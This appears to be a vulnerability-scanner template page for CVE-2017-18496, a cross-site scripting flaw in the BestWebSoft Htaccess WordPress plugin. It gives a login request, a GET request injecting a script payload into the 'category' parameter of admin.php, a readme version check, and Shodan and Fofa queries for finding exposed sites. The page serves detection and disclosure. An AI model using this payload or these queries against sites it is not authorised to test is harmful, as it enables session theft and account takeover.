| Title | Htaccess by BestWebSoft < 1.7.6 - Cross-Site Scripting |
|---|---|
| Author | luisfelipe146 |
| Severity | Medium |
| Impact | Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users. |
| Remediation | Update to version 1.7.6 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00104 |
| CVE ID | CVE-2017-18496 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/htaccess/ |
| Fofa Query | body=/wp-content/plugins/htaccess/ |
| Tags | cve cve2017 wordpress wpscan bws-htaccess wp-plugin xss authenticated bestwebsoft vuln |
The htaccess plugin before 1.7.6 for WordPress has multiple XSS issues.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=G3wYO4&pwd=cO9Vhv&wp-submit=Log+In
GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/htaccess/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Connection: close
Accept-Encoding: gzip
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